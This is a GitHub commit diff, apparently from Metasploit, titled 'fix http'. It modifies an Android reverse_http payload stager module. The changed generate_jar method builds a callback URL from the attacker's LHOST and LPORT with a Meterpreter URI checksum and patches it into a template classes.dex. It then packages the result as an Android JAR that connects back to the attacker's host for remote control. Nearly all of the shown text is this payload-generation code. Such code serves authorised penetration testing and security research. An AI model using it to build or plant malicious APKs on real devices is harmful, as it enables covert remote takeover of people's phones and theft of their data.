Skip to content

Commit ebd20fb

Browse files
committed
fix http
1 parent e7c8a3b commit ebd20fb

File tree

1 file changed

+13
-8
lines changed

1 file changed

+13
-8
lines changed

modules/payloads/stagers/android/reverse_http.rb

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -27,23 +27,28 @@ def initialize(info = {})
2727
end
2828

2929
def generate_jar(opts={})
30-
host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new
31-
port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s
32-
raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32
33-
34-
jar = Rex::Zip::Jar.new
30+
# Default URL length is 30-256 bytes
31+
uri_req_len = 30 + rand(256-30)
32+
# Generate the short default URL if we don't know available space
33+
if self.available_space.nil?
34+
uri_req_len = 5
35+
end
36+
37+
lurl = "ZZZZhttp://#{datastore["LHOST"]}"
38+
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
39+
lurl << "/"
40+
lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len)
3541

3642
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
37-
string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port)
43+
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
3844
apply_options(classes)
3945

46+
jar = Rex::Zip::Jar.new
4047
jar.add_file("classes.dex", fix_dex_header(classes))
41-
4248
files = [
4349
[ "AndroidManifest.xml" ],
4450
[ "resources.arsc" ]
4551
]
46-
4752
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
4853
jar.build_manifest
4954

0 commit comments

Comments
 (0)